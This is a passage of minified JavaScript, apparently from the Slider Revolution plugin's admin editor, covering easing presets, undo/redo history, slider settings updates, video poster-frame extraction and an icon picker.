Extrem","circ.in":"circ.in","circ.inOut":"circ.inOut","circ.out":"circ.out","elastic.in":"elastic.in","elastic.inOut":"elastic.inOut","elastic.out":"elastic.out","expo.in":"expo.in","expo.inOut":"expo.inOut","expo.out":"expo.out","sine.in":"sine.in","sine.inOut":"sine.inOut","sine.out":"sine.out",slow:"slow",SFXBounceLite:"SFX - Bounce Lite",SFXBounceSolid:"SFX - Bounce Solid",SFXBounceStrong:"SFX - Bounce Strong",SFXBounceExtrem:"SFX - Bounce Extrem"},window.RS_PRESETS={R:"shuffle",C:"create",I:"system_update_alt",SC:"border_inner",SR:"border_left",SB:"border_top",ST:"border_bottom",SL:"border_right",BH:"border_horizontal",BV:"border_vertical",CL:"remove_circle_outline",LI:"link",LO:"local_offer",CA:"compare_arrows",CY:"import_export"},function(){var e,t,i,a,o,r,s,n,d,c,p,S,u,v,R;function V(e){!0===e.todo.SliderSettings&&(RVS.F.sliderUpdateAllFields(!0),jQuery(".sliderinput").trigger("init")),e.todo.slide=void 0!==e.todo.forceSelectSlide?e.todo.forceSelectSlide:e.todo.slide,e.todo.slide=void 0===e.todo.slide?RVS.S.slideId:e.todo.slide,e.todo.slide=RVS.F._inArray(e.todo.slide,RVS.SLIDER.slideIDs)>=0?e.todo.slide:RVS.SLIDER.slideIDs[0],e.todo.redrawLayers=!0,!0===e.todo.SlideSettings&&(0===jQuery(".slide_list_element.sortable_slide_list_element").length?e.todo.mode="sliderlayout":RVS.F.setSlideFocus({slideid:e.todo.slide})),!0===e.todo.SlideList&&RVS.F.reSortSlides();var t=!1;if(("slidelayout"==e.todo.mode&&(e.SlideSettings||""+e.todo.slide!=""+RVS.S.slideId)||"slidelayout"!==e.todo.mode&&void 0!==e.todo.mode)&&(RVS.F.mainMode({mode:e.todo.mode,set:!0,slide:e.todo.slide}),t=!0,e.todo.redrawLayers=!1),"slidelayout"!==e.todo.mode||e.todo.layerAndSlideMode||(void 0!==e.todo.layer?RVS.DOC.trigger("changeToLayerMode"):RVS.DOC.trigger("changeToSlideMode")),t||!e.todo.rebuildLayerList&&!0!==e.todo.LayerSorting||(("slidelayout"!==e.todo.mode||e.todo.forceRebuildLayerList)&&(RVS.H={},RVS.F.buildLayerLists({force:!0,ignoreSelectLayers:void 0!==e.todo.lastSelectedLayers}),RVS.F.updateLayerToggleActionWaits(),RVS.DOC.trigger("allLayersRebuilt"),e.todo.redrawLayers=!1),RVS.F.reOrderHTMLLayers()),void 0!==e.todo.framesToAdd){for(var i in e.todo.framesToAdd)e.todo.framesToAdd.hasOwnProperty(i)&&(RVS.F.addLayerFrameOnDemand(RVS.L[e.todo.framesToAdd[i].layerid],e.todo.framesToAdd[i].el,e.todo.framesToAdd[i].newframe),RVS.F.getFrameOrder({layerid:e.todo.framesToAdd[i].layerid}),RVS.F.updateFramesZIndexes({layerid:e.todo.framesToAdd[i].layerid}));RVS.DOC.trigger("updateKeyFramesList")}if(void 0!==e.todo.framesToRedraw)for(var i in e.todo.framesToRedraw)e.todo.framesToRedraw.hasOwnProperty(i)&&(RVS.F.updateLayerFrames({layerid:e.todo.framesToRedraw[i]}),RVS.F.renderLayerAnimation({layerid:e.todo.framesToRedraw[i]}));if(void 0!==e.todo.framesToReorder){for(var i in e.todo.framesToReorder)e.todo.framesToReorder.hasOwnProperty(i)&&(RVS.F.getFrameOrder({layerid:e.todo.framesToReorder[i].layerid}),RVS.F.updateFramesZIndexes({layerid:e.todo.framesToReorder[i].layerid}));RVS.DOC.trigger("updateKeyFramesList")}if(void 0!==e.todo.lastSelectedLayers)for(var i in e.todo.lastSelectedLayers)e.todo.lastSelectedLayers.hasOwnProperty(i)&&void 0!==RVS.L[e.todo.lastSelectedLayers[i]]&&(RVS.F.selectLayers({id:e.todo.lastSelectedLayers[i],action:"add"}),e.todo.redrawLayers=!1);for(var i in e.todo.updateLayerImageSrcList)e.todo.updateLayerImageSrcList.hasOwnProperty(i)&&RVS.F.updateLayerImageSrc({},{layerid:e.todo.updateLayerImageSrcList[i]});if(e.todo.redrawLayers&&void 0!==e.todo.layers&&e.todo.layers.length>0)for(var i in e.todo.layers)e.todo.layers.hasOwnProperty(i)&&RVS.F.drawHTMLLayer({uid:e.todo.layers[i]});void 0!==e.todo.callBack&&e.todo.callBack(),RVS.DOC.trigger("SceneUpdatedAfterRestore",e)}function m(e){var t=RVS.F.isNumeric(e.path);if(void 0!==e.backupType&&(e.todo.SlideList=!0,e.todo.SliderSettings=!0,e.todo.SlideSettings=!0,e.todo.LayerSettings=!0,e.todo.LayerSorting=!0,e.todo.layerAndSlideMode=!1),t||0!==e.path.indexOf("settings")||(e.todo.SliderSettings=!0,e.todo.mode="sliderlayout"),!t&&e.path.indexOf(".layers.")>=0&&e.path.indexOf(".layers.")<=6){e.todo.lastSelectedLayers=RVS.selLayers,e.todo.LayerSettings=!0;var i=e.path.split("."),a=jQuery.inArray("layers",i);e.todo.slide=i[a-1],e.todo.layer=i[a+1],e.todo.layers=void 0===e.todo.layers?[]:e.todo.layers,-1===jQuery.inArray(i[a+1],e.todo.layers)&&e.todo.layers.push(i[a+1]),e.todo.mode="slidelayout"}if(!t&&e.path.indexOf(".slide.")>=0&&e.path.indexOf(".slide.")<=6){e.todo.SlideSettings=!0;i=e.path.split("."),a=jQuery.inArray("slide",i);e.todo.slide=i[a-1],e.todo.mode="slidelayout"}return!t&&(e.path.indexOf(".slide.timeline.delay")>=0||e.path.indexOf(".slide.slideChange.speed")>=0)&&(e.todo.layerAndSlideMode=!0),"slideIDs"===e.path&&(e.todo.SlideList=!0),"layersorting"!==e.groupid&&"layersorting_layermovement"!==e.groupid||(e.todo.LayerSorting=!0,e.todo.slide=e.path.split(".")[0]),e.todo}function g(e){var t=e.step,i=void 0===e.todo?{SlideList:!1,SliderSettings:!1,SlideSettings:!1,LayerSettings:!1,LayerSorting:!1}:e.todo;if(i.updateLayerImageSrcList=void 0===i.updateLayerImageSrcList?[]:i.updateLayerImageSrcList,i.slides=void 0===i.slides?[]:i.slides,void 0!==t.chngamount){for(var a in t.steps)if(t.steps.hasOwnProperty(a)){var o=t.steps[a];if("old"===e.valkey)o=t.steps[t.chngamount-a-1];if(void 0!==o.backupType)switch("addlayer"!==o.bckpGrType&&"removelayer"!==o.bckpGrType&&"layerTemplateAnimation"!==o.bckpGrType||(i.forceRebuildLayerList=!0),o.backupType){case"layerFrames":jQuery.isEmptyObject(o[e.valkey])||(RVS.SLIDER[o.slide].layers[o.layer].timeline.frames=jQuery.extend(!0,{},o[e.valkey]),i.framesToRedraw=void 0===i.framesToRedraw?[]:i.framesToRedraw,i.framesToRedraw.push(o.layer));break;case"clipPath":jQuery.isEmptyObject(o[e.valkey])||(RVS.SLIDER[o.slide].layers[o.layer].timeline.clipPath=jQuery.extend(!0,{},o[e.valkey]),i.framesToRedraw=void 0===i.framesToRedraw?[]:i.framesToRedraw,i.framesToRedraw.push(o.layer));break;case"singleFrame":jQuery.isEmptyObject(o[e.valkey])||(RVS.SLIDER[o.slide].layers[o.layer].timeline.frames[o.frame]=jQuery.extend(!0,{},o[e.valkey]),i.framesToRedraw=void 0===i.framesToRedraw?[]:i.framesToRedraw,i.framesToRedraw.push(o.layer));break;case"layerLoop":jQuery.isEmptyObject(o[e.valkey])||(RVS.SLIDER[o.slide].layers[o.layer].timeline.loop=jQuery.extend(!0,{},o[e.valkey]),i.framesToRedraw=void 0===i.framesToRedraw?[]:i.framesToRedraw,i.framesToRedraw.push(o.layer));break;case"frame":jQuery.isEmptyObject(o[e.valkey])?(delete RVS.SLIDER[o.slide].layers[o.layer].timeline.frames[o.frame],jQuery("#"+o.slide+"_"+o.layer+"_"+o.frame).remove(),i.framesToReorder=void 0===i.framesToReorder?[]:i.framesToReorder,i.framesToReorder.push({layerid:o.layer})):(RVS.SLIDER[o.slide].layers[o.layer].timeline.frames[o.frame]=jQuery.extend(!0,{},o[e.valkey]),i.framesToAdd=void 0===i.framesToAdd?[]:i.framesToAdd,i.framesToAdd.push({layerid:o.layer,el:document.getElementById("tllayerlist_element_"+o.slide+"_"+o.layer),newframe:o.frame}));break;case"slide":jQuery.isEmptyObject(o[e.valkey])?(delete RVS.SLIDER[o.path],o.cache=jQuery("#slide_list_element_"+o.path).removeClass("selected").detach(),i.forceSelectSlide=o.beforeSelected):(RVS.SLIDER[o.path]=jQuery.extend(!0,{},o[e.valkey]),void 0!==o.cache&&RVS.C.slideList.append(o.cache),jQuery.inArray(o.bckpGrType,["addnewslide","duplicateslide"])>=0?i.forceSelectSlide=o.path:i.forceSelectSlide=o.beforeSelected),i.mode="slidelayout";break;case"object":jQuery.isEmptyObject(o[e.valkey])?delete RVS.SLIDER[o.path]:RVS.F.writeDeepPath(RVS.SLIDER,o.path,jQuery.extend(!0,{},o[e.valkey])),i.callBack=o.callBack;break;case"array":void 0!==o[e.valkey]&&(RVS.F.writeDeepPath(RVS.SLIDER,o.path,o[e.valkey]),i.callBack=o.callBack);break;case"layer":jQuery.isEmptyObject(o[e.valkey])?(delete RVS.SLIDER[void 0!==o.slideid?o.slideid:RVS.S.slideId].layers[o.path],jQuery("#_lc_"+(void 0!==o.slideid?o.slideid:RVS.S.slideId)+"_"+o.path+"_").remove()):RVS.SLIDER[void 0!==o.slideid?o.slideid:RVS.S.slideId].layers[o.path]=jQuery.extend(!0,{},o[e.valkey]),i.rebuildLayerList=!0,i.layer=!0;break;case"full":RVS.SLIDER=jQuery.extend(!0,{},o[e.valkey])}else RVS.F.updateSliderObj({path:o.path,val:o[e.valkey],ignoreBackup:!0,ignoreResponsive:o.ignoreResponsive,wasEdited:o.wasEdited,editedPath:o.editedPath,undoRedo:"old"===e.valkey?"undo":"redo"});"updatelayerimagesrc"===o.evt&&-1===jQuery.inArray(i.updateLayerImageSrcList.indexOf,o.uid)&&i.updateLayerImageSrcList.push(o.uid),i=m({todo:i,path:o.path,groupid:t.id})}-1===jQuery.inArray(i.slide,i.slides)&&i.slides.push(i.slide),"layersorting_layermovement"==t.id&&(i.forceRebuildLayerList=!0)}else{if(void 0!==t.backupType)switch(t.backupType){case"slide":jQuery.isEmptyObject(t[e.valkey])?delete RVS.SLIDER[t.path]:RVS.SLIDER[t.path]=jQuery.extend(!0,{},t[e.valkey]);break;case"full":RVS.SLIDER=jQuery.extend(!0,{},t[e.valkey])}else RVS.F.updateSliderObj({path:t.path,val:t[e.valkey],ignoreBackup:!0,evt:t.evt,evtparam:t.evtparam,undoRedo:"old"===e.valkey?"undo":"redo",ignoreResponsive:t.ignoreResponsive,wasEdited:t.wasEdited,editedPath:t.editedPath});i=m({todo:i,path:t.path}),-1===jQuery.inArray(i.slide,i.slides)&&i.slides.push(i.slide)}return i.step=e.step,i}function f(e){void 0!==e&&void 0===e.type&&(e.type=e.path.indexOf(RVS.S.slideId+".layers.")>=0?"layer":e.type);var t=e.path,i=t.indexOf("addOns")>=0?t.split("addOns.")[1]:"none",a="layer"===e.type?"layers":"undo",o=e.path.split(".");return o=o[o.length-1],{txt:"none"!==i?i.replace("revslider-","").replace("-addon."," "+("layer"===e.type?"layer":"Slide")+" "):t.indexOf("settings.size.width")>=0?"Layer Container Width":t.indexOf("settings.size.height")>=0?"Layer Container Height":t.indexOf("settings.size.minHeight")>=0?"Slider Min Height":t.indexOf("settings.size.maxWidth")>=0?"Slider Max Width":t.indexOf("settings.size")>=0?"Slider Size Settings":t.indexOf("settings.carousel")>=0?"Carousel Settings":t.indexOf("slide.bg")>=0?"Slide Background":t.indexOf(".fontWeight")>=0?"Font Weight":t.indexOf(".fontSize")>=0?"Font Size":t.indexOf(".fontFamily")>=0?"Font Family":t.indexOf(".fontStyle")>=0?"Font Style":t.indexOf(".textTransform")>=0?"Text Transform":t.indexOf(".idle.selectable")>=0?"Layer Markable":t.indexOf(".textDecoration")>=0?"Text Decoration":t.indexOf("slide.attributes")>=0?"Slide Attributes":t.indexOf(".media")>=0&&"layer"===e.type?"Media ("+o+")":t.indexOf("alias")>=0&&(t.indexOf(".layers")>=0||"layer"===e.type)?"Layer Alias":t.indexOf("slide.slideChange.speed")>=0?"Slide Transition Speed":t.indexOf("timeline.frames")>=0?"Layer Animation ("+o+")":"slideIDs"===t?"Slide Order Change":t,icon:a="none"!==i?"extension":t.indexOf("settings.size.width")>=0?"open_with":t.indexOf("settings.size.height")>=0?"open_with":t.indexOf("settings.size.minHeight")>=0?"vertical_align_bottom":t.indexOf("settings.size.maxWidth")>=0?"trending_flat":t.indexOf("settings.size")>=0?"exposure":t.indexOf("settings.carousel")>=0?"view_carousel":t.indexOf("slide.bg")>=0?"image":t.indexOf(".fontWeight")>=0?"font_download":t.indexOf(".fontSize")>=0?"text_format":t.indexOf(".fontFamily")>=0?"translate":t.indexOf(".fontStyle")>=0?"format_italic":t.indexOf(".textTransform")>=0?"text_fields":t.indexOf(".idle.selectable")>=0?"select_all":t.indexOf(".textDecoration")>=0?"text_format":t.indexOf("slide.attributes")>=0?"speaker_notes":t.indexOf(".media")>=0&&"layer"===e.type?"videocam":t.indexOf("alias")>=0&&(t.indexOf(".layers")>=0||"layer"===e.type)?"title":t.indexOf("slide.slideChange.speed")>=0?"timelapse":t.indexOf("timeline.frames")>=0?"theaters":"slideIDs"===t?"sort":a,lastkey:e.lastkey}}function y(e){e.pos.x=e.mem.x+e.revert.x*RVS.S.DaD.dragdelta.x,e.pos.y=e.mem.y+e.revert.y*RVS.S.DaD.dragdelta.y,e.updateInput&&(void 0!==e.input&&void 0!==e.input.x&&e.input.x.val(e.pos.x),void 0!==e.input&&void 0!==e.input.y&&e.input.y.val(e.pos.y)),RVS.F.updateSliderObj({path:e.attributeRoot+e.attribute.x,val:e.pos.x}),RVS.F.updateSliderObj({path:e.attributeRoot+e.attribute.y,val:e.pos.y}),void 0!==e.callEvent&&jQuery(document.body).trigger(e.callEvent,e.callEventParam)}function h(e){var t='<option value="none">'+RVS_LANG.none+"</option>";for(var i in e.array)e.array.hasOwnProperty(i)&&(void 0!==e.filter&&"all"!==e.filter&&e.filter!==e.array[i].type||void 0!==e.subfilter&&"all"!==e.subfilter&&e.subfilter!==e.array[i].subtype||(t+="<option "+(e.preselected===e.array[i][e.type]?"selected":"")+' value="'+e.array[i][e.type]+'">'+e.array[i].title+"</option>"));return t}function b(e){var t=e.replace("*north*","Up").replace("*south*","Down").replace("*swap_vert*","Vertical").replace("*swap_horiz*","Horizontal").replace("*east*","Right").replace("*east*","Right").replace("*add*","Zoom In").replace("*remove*","Zoom Out").replace("*west*","Left").split("*");return t[t.length-1]}function L(e){var t='<div class="form_collector '+e.a+'" data-type="'+e.b+'" data-pcontainer="#'+e.c+'" data-offset="#rev_builder_wrapper">';return t+='<div id="'+e.d+'"  data-select="'+e.f+e.slug+'" class="formcontainer form_menu_inside collapsed">',t+='<div class="collectortabwrap"><div id="" class="collectortab form_menu_inside" data-forms=\'["#'+e.d+"\"]'>"+e.title+"</div></div>",t+='<div id="'+e.e+'" class="form_inner open"></div>',t+="</div>",t+="</div>"}RVS.F.initAdmin=function(){RVS.S.isChrome8889=navigator.userAgent.includes("Chrome/88")||navigator.userAgent.includes("Chrome/89");try{jQuery.fn.select2=void 0===jQuery.fn.select2?jQuery.fn.ddTP:jQuery.fn.select2}catch(e){}try{$.fn.select2=void 0===$.fn.select2?$.fn.ddTP:$.fn.select2}catch(e){}RVS.screen="d",RVS.S.bckpGrp=!1,RVS.S.winh=RVS.WIN.height(),RVS.S.winw=RVS.WIN.width(),RVS.ENV.youtubeargs="hd=1&wmode=opaque&showinfo=0&rel=0;",RVS.ENV.vimeoargs="title=0&byline=0&portrait=0&api=1",RVS.V.sizes=["d","n","t","m"],RVS.V.dirs=["top","bottom","left","right"],RVS.V.sizesold=["desktop","notebook","tablet","mobile"],RVS.ENV.grid_sizes={d:1240,n:1024,t:778,m:480,none:"none"},RVS.ENV.globVerOffset=275,RVS.S.shrink={d:1,m:.625,n:.82580645,t:.75},RVS.S.mP={top:0,left:0},RVS.S.redoList=[],RVS.S.undoList=[],RVS.S.layer_wrap_offset={x:0,y:0},RVS.S.navOffset={thumbs:{top:0,bottom:0,left:0,right:0},tabs:{top:0,bottom:0,left:0,right:0}},RVS.S.rb_ScrollX=0,RVS.S.rb_ScrollY=0,RVS.eMode=void 0===RVS.eMode?{top:"",menu:"",mode:""}:RVS.eMode,RVS.S.respInfoBar={},RVS.V.timeline_height="auto",RVS.V.timeline_minHeight=275,RVS.V.timeline_minOpenHeight=275,RVS.S.editorSize={w:RVS.WIN.width()-335,h:RVS.WIN.height()-RVS.V.timeline_minHeight-65},RVS.S.editorSize.width=RVS.S.editorSize.w,RVS.S.editorSize.height=RVS.S.editorSize.h,RVS.S.click={x:0,y:0},RVS.JHOOKS={createLayerListElement:[],redrawSlideBG:[],prepareOneSlide:[],layerListElementClicked:[],updateFrameOptionsVisual:[],changeLayerAnimation:[],defaultFrame:[],extendSlideAnimationList:[]},RVS.S.DaD={},RVS.S.DaD.dragdelta={x:0,y:0},RVS.WIN.on("resize",function(){var e=RVS.WIN.width(),t=RVS.WIN.height();RVS.S.winw==e&&RVS.S.winh==t||(RVS.S.winh=t,RVS.S.winw=e,RVS.S.editorSize.w=RVS.S.editorSize.width=RVS.S.winw-335,RVS.S.editorSize.h=RVS.S.editorSize.height=RVS.S.winh-RVS.V.timeline_minHeight-65,clearTimeout(r),r=setTimeout(function(){RVS.DOC.trigger("windowresized"),!0!==RVS.S.ovMode&&RVS.F.updateAllHTMLLayerPositions(!0)},25))}),RVS.DOC.on("mousemove","#builderView",function(e){RVS.S.mP.top=e.pageY,RVS.S.mP.left=e.pageX,s&&tpGS.gsap.set(RVS.C.mouseInfo,{top:RVS.S.mP.top-40,left:RVS.S.mP.left+40,display:"block"}),void 0!==RVS.S.builderHover&&!1!==RVS.S.builderHover&&RVS.F.setRulerMarkers({x:RVS.S.mP.left,y:RVS.S.mP.top})}),RVS.DOC.on("touchstart mouseenter",".tparrows, .tp-bullets, .tp-bullet, .tp-tab, .tp-thumb, .tp-thumbs, .tp-tabs, .tp-rightarrow, .tp-leftarrow",function(){-1===this.className.indexOf("rs-touchhover")&&(this.className+=" rs-touchhover")}),RVS.DOC.on("touchend mouseleave",".tparrows, .tp-bullets, .tp-bullet, .tp-tab, .tp-thumb, .tp-tabs,  .tp-rightarrow, .tp-leftarrow",function(){this.className=this.className.replace("rs-touchhover","")})},RVS.F.get_browser=function(){var e,t=navigator.userAgent,i=t.match(/(opera|chrome|safari|firefox|msie|trident(?=\/))\/?\s*(\d+)/i)||[];return/trident/i.test(i[1])?(e=/\brv[ :]+(\d+)/g.exec(t)||[],"IE"):"Chrome"===i[1]&&null!=(e=t.match(/\b(OPR|Edge)\/(\d+)/))?e[1].replace("OPR","Opera"):(i=i[2]?[i[1],i[2]]:[navigator.appName,navigator.appVersion,"-?"],null!=(e=t.match(/version\/(\d+)/i))&&i.splice(1,1,e[1]),i[0])},RVS.F.isFirefox=function(e){return RVS.ENV.isFirefox=void 0===RVS.ENV.isFirefox?"Firefox"===RVS.F.get_browser():RVS.ENV.isFirefox,RVS.ENV.isFirefox},RVS.F.HighContrast=function(e){"toggle"===e?jQuery(document.body).hasClass("rs-high-contrast")?jQuery(document.body).removeClass("rs-high-contrast"):jQuery(document.body).addClass("rs-high-contrast"):e?jQuery(document.body).addClass("rs-high-contrast"):jQuery(document.body).removeClass("rs-high-contrast")},RVS.F.getStartSec=function(e){return null==e||""===e||" "===e?0:RVS.F.isNumeric(e)?e:e.split(":").length>1?60*parseInt(e.split(":")[0],0)+parseInt(e.split(":")[1],0):e},RVS.F.videoExtract={init:function(){var e=RVS.F.videoExtract;e.canvas=document.createElement("canvas"),e.ctx=e.canvas.getContext("2d"),e.video=document.createElement("video"),e.inited=!0},get:function(e,t,i,a){void 0!==e&&(void 0===RVS.F.videoExtract.inited&&RVS.F.videoExtract.init(),RVS.F.videoExtract.at=RVS.F.getStartSec(i),RVS.F.videoExtract.callBack=t,RVS.F.videoExtract.video.addEventListener("loadeddata",RVS.F.videoExtract.draw),RVS.F.videoExtract.lastloaded==e&&RVS.F.videoExtract.draw(),RVS.F.videoExtract.video.src=e,RVS.F.videoExtract.param=a)},draw:async function(){return new Promise(async e=>{var t,i=RVS.F.videoExtract;for(i.video.addEventListener("seeked",async function(){t&&t()});(i.video.duration===1/0||isNaN(i.video.duration))&&i.video.readyState<2;)i.video.currentTime=1e7*Math.random();i.lastloaded=i.video.src,i.canvas.width=i.video.videoWidth,i.canvas.height=i.video.videoHeight,i.video.currentTime=void 0===i.at?0:i.at,await new Promise(e=>t=e),i.ctx.drawImage(i.video,0,0,i.video.videoWidth,i.video.videoHeight),i.data=i.canvas.toDataURL("image/jpeg",.75),i.save(),e()})},save:function(){RVS.F.videoExtract;RVS.F.ajaxRequest("create_image_from_raw",{bitmap:RVS.F.videoExtract.data,mpeg:RVS.F.videoExtract.video.src,slideid:(""+RVS.S.slideId).replace("static_","")+("layer"===RVS.F.videoExtract.param?"_layer":"")},function(e){e.success&&RVS.F.videoExtract.callBack(e,RVS.F.videoExtract.param)})}},RVS.F.setBGPosterImage=function(e,t,i){"slide"===i?RVS.F.updateImageSrcFromMedia({evt:"updateslidebasic",evtparam:"double",r:"#slide#.slide.bg.image",rid:"#slide#.slide.bg.imageId",lib:"#slide#.slide.bg.imageLib",sty:"#slide#.slide.bg.imageSourceType",targetType:"slide"},e,t):"layer"===i&&RVS.F.updateImageSrcFromMedia({evt:"updatelayerimagesrc",r:"media.posterUrl",rid:"media.posterId",lib:"media.imageLib",sty:"behavior.imageSourceType",targetType:"layer"},e,t)},RVS.F.updateSliderObj=function(e){if(!(e.path.indexOf("#targetlayer#")>=0)||void 0!==RVS.S.actionTrgtLayerId&&"none"!==RVS.S.actionTrgtLayerId){e.path=RVS.F.getConcVals(e.path,RVS.screen);var t=e.path.split("."),i=!1;try{e.old=RVS.F.getDeepValue(RVS.SLIDER,e.path),RVS.F.writeDeepPath(RVS.SLIDER,e.path,e.val),e.lastkey=t[t.length-1]}catch(t){i=!0,console.log("Object Path Does Not Exists:"+e.path)}if(!0!==i&&!0!==e.ignoreResponsive&&("v"===t[t.length-1]||"v"===t[t.length-2])){if(e.uid=void 0===e.uid?t[jQuery.inArray("layers",t)+1]:e.uid,void 0===e.editedPath){e.editedPath="";for(var a=0;"v"!==t[a]&&a<t.length;)e.editedPath+=t[a]+".",a++;e.editedPath+="e"}e.editedPath.split(".").join('"]["'),i=!1;try{void 0!==e.wasEdited&&"undo"===e.undoRedo?RVS.F.writeDeepPath(RVS.SLIDER,e.editedPath,e.wasEdited):(e.wasEdited=RVS.F.getDeepValue(RVS.SLIDER,e.editedPath),RVS.F.writeDeepPath(RVS.SLIDER,e.editedPath,!0))}catch(e){i=!0,console.log(e)}!0!==i&&RVS.F.intelligentUpdate({calcShrink:!0,iii:RVS.F.isIntelligentInherited(e.uid),key:"v"===t[t.length-1]?t[t.length-3]:t[t.length-4],index:t[t.length-1],uid:e.uid,slide:e.slide})}void 0!==e.evt&&!0!==o&&RVS.DOC.trigger(e.evt,e.evtparam),!0!==e.ignoreBackup&&RVS.F.backup(e)}},RVS.F.updateLayerObj=function(e){var t="none";if(!1===RVS.S.bckpGrp&&RVS.selLayers.length>1){t=e.path;var i={path:e.path,icon:"layers",lastkey:"layer",type:"layer",id:"MultipleLayers"};RVS.F.openBackupGroup(f(i))}for(var a in RVS.selLayers)RVS.selLayers.hasOwnProperty(a)&&(void 0!==e.evt&&(e.evtparam=void 0===e.evtparam?{}:e.evtparam,e.evtparam.layerid=RVS.selLayers[a]),RVS.F.updateSliderObj({path:RVS.S.slideId+".layers."+RVS.selLayers[a]+"."+e.path,val:e.val,evt:e.evt,evtparam:e.evtparam,uid:RVS.selLayers[a],ignoreBackup:e.ignoreBackup}),!0!==e.ignoreRedraw&&RVS.F.drawHTMLLayer({uid:RVS.selLayers[a]}));"none"!==t&&RVS.F.closeBackupGroup({id:"MultipleLayers"})},RVS.F.openBackupGroup=function(e){e.steps=[],RVS.S.bckpGrp=e,RVS.S.bckpGrp.chngamount=0},RVS.F.closeBackupGroup=function(e){e.ignore||(RVS.S.bckpGrp.close=!0,RVS.F.backup(RVS.S.bckpGrp))},RVS.F.ignoreEventsOpen=function(){o=!0},RVS.F.ignoreEventsClose=function(){o=!1},RVS.F.backup=function(e){if(!0!==RVS.S.ovMode&&(!0===e.force||!0===RVS.S.bckpGrp.close||e.val!==e.old)){if(0!=RVS.S.bckpGrp&&!0!==RVS.S.bckpGrp.close)RVS.S.bckpGrp.steps.push(e),RVS.S.bckpGrp.chngamount++;else{RVS.F.clearRedoList();var t=0!=RVS.S.bckpGrp?{icon:RVS.S.bckpGrp.icon,txt:RVS.S.bckpGrp.txt,lastkey:RVS.S.bckpGrp.chngamount}:void 0!==e.icon&&void 0!==e.txt?{icon:e.icon,txt:e.txt,lastkey:e.lastkey}:f(e),i=document.createElement("span");e.stepElement=RVS.F.cE({t:"li",cN:"undoredostep toolbar_listelement"}),i.style.display="inline-block",i.style.minWidth="150px",i.textContent=t.txt,e.stepElement.appendChild(RVS.F.cI({c:t.icon})),e.stepElement.appendChild(i),RVS.S.undoList.push(e),RVS.S.undoList.length>30&&(RVS.S.undoList.splice(0,1),RVS.C.undo.removeChild(RVS.C.undo.querySelector("li"))),RVS.C.undo.appendChild(e.stepElement),RVS.S.bckpGrp=!1}1,RVS.S.need_to_save=!0}},RVS.F.clearRedoList=function(){RVS.S.redoList=[],RVS.C.redo.innerHTML=""},RVS.F.undo=function(e){var t;if((void 0===e||e.step>=1)&&(e.step=void 0===e.step?1:e.step,RVS.S.undoList.length>e.step-1)){for(var i=0;i<e.step;i++){var a=RVS.S.undoList.pop();RVS.S.redoList.push(a),t=g({todo:t,step:a,valkey:"old"})}V({todo:t,dir:"undo"}),RVS.F.showInfo({content:"Succesfully Undone "+e.step+" Steps.",type:"success",showdelay:0,hidedelay:1,hideon:"",event:""})}RVS.F.updateBackupList()},RVS.F.redo=function(e){var t;if((void 0===e||e.step>=1)&&(e.step=void 0===e.step?1:e.step,RVS.S.redoList.length>e.step-1)){for(var i=0;i<e.step;i++){var a=RVS.S.redoList.pop();RVS.S.undoList.push(a),t=g({todo:t,step:a,valkey:"val"})}V({todo:t,dir:"redo"}),RVS.F.showInfo({content:"Succesfully Redone "+e.step+" Steps.",type:"success",showdelay:0,hidedelay:1,hideon:"",event:""})}RVS.F.updateBackupList()},RVS.F.updateBackupList=function(){for(var e in RVS.C.undo.innerHTML="",RVS.C.redo.innerHTML="",RVS.S.undoList)RVS.S.undoList.length>0&&void 0!==RVS.S.undoList[e]&&RVS.C.undo.appendChild(RVS.S.undoList[e].stepElement);for(var t in RVS.S.redoList)RVS.S.redoList.length>0&&void 0!==RVS.S.redoList[t]&&RVS.C.redo.prepend(RVS.S.redoList[t].stepElement);jQuery("#undoredowrap").RSScroll("update")},RVS.F.showIconPicker=function(e){RVS.F.container=void 0===RVS.F.container?jQuery('<div id="rs_iconselector"><div class="rs_iconselector_header"><input type="text" placeholder="'+RVS_LANG.searcforicon+'" id="rs_iconselector_search"><i class="material-icons closers_iconselector">close</i></i></div>'):RVS.F.container,void 0===RVS.F.list&&(RVS.F.list=jQuery('<div id="rs_iconselector_inner"></div>'),RVS.F.container.append(RVS.F.list)),void 0!==e.parent&&jQuery(e.parent).append(RVS.F.container),void 0!==e.classlist&&(RVS.F.container[0].className=e.classlist),RVS.F.insertinto=jQuery(e.insertinto),RVS.S.icon_closeafterpick=e.closeafterpick,RVS.S.icon_shortreturn=e.shortreturn,"#ta_layertext"===e.insertinto&&"none"===RVS.F.insertinto[0].style.display&&(RVS.F.insertinto=jQuery("#ta_toggletext")),null==RVS.LIB.OBJ||void 0===RVS.LIB.OBJ.items||void 0===RVS.LIB.OBJ.items.fonticons?RVS.F.openObjectLibrary({types:["fonticons"],filter:"all",selected:["fonticons"],event:"showIconToTextLayerForm",silent:!0}):RVS.DOC.trigger("showIconToTextLayerForm")},RVS.F.initIconPicker=function(){RVS.F.initialized||(RVS.F.initialized=!0,RVS.DOC.on("showIconToTextLayerForm",function(){if(RVS.F.open=!0,!RVS.V.buildIconPicker)for(var e in RVS.V.buildIconPicker=!0,RVS.LIB.OBJ.items.fonticons)if(RVS.LIB.OBJ.items.fonticons.hasOwnProperty(e)){var t=RVS.LIB.OBJ.items.fonticons[e];void 0!==t.tags&&(void 0===RVS.C[t.tags[0]]&&(RVS.C[t.tags[0]]=jQuery('<div id="font_icon_subcontainer_'+t.tags[0]+'" class="font_icon_subcontainer"><div class="font_icon_subcontainer_title">'+t.tags[0]+"</div></div>"),RVS.F.list.append(RVS.C[t.tags[0]])),"MaterialIcons"===t.tags[0]?RVS.C[t.tags[0]].append('<i data-title="'+t.title+'" data-fonticon="true" class="material-icons">'+t.handle.replace(".","")+"</i>"):RVS.C[t.tags[0]].append('<i data-title="'+t.title+'" data-fonticon="true" class="'+t.handle.replace(".","")+'"></i>'))}RVS.F.container.show(),RVS.F.list.RSScroll({wheelPropagation:!1,suppressScrollX:!0})}),RVS.DOC.on("click",".closers_iconselector",function(){RVS.F.open=!1,RVS.F.container.hide()}),RVS.DOC.on("keyup","#rs_iconselector_search",function(){if(this.value.length>1){RVS.F.list.scrollTop(0);var e=this.value.toLowerCase();RVS.F.list.find("i").each(function(){this.dataset.title.toLowerCase().indexOf(e)>=0?this.style.display="inline-block":this.style.display="none"})}else RVS.F.list.find("i").each(function(){this.style.display="inline-block"})}),jQuery(document.body).on("click",function(e){if(RVS.F.open)if("rs_iconselector_search"===e.target.id);else if(e.target.dataset.fonticon)RVS.S.icon_shortreturn?RVS.F.insertinto.val(e.target.className):RVS.F.insertinto.val(RVS.F.insertinto.val()+'<i 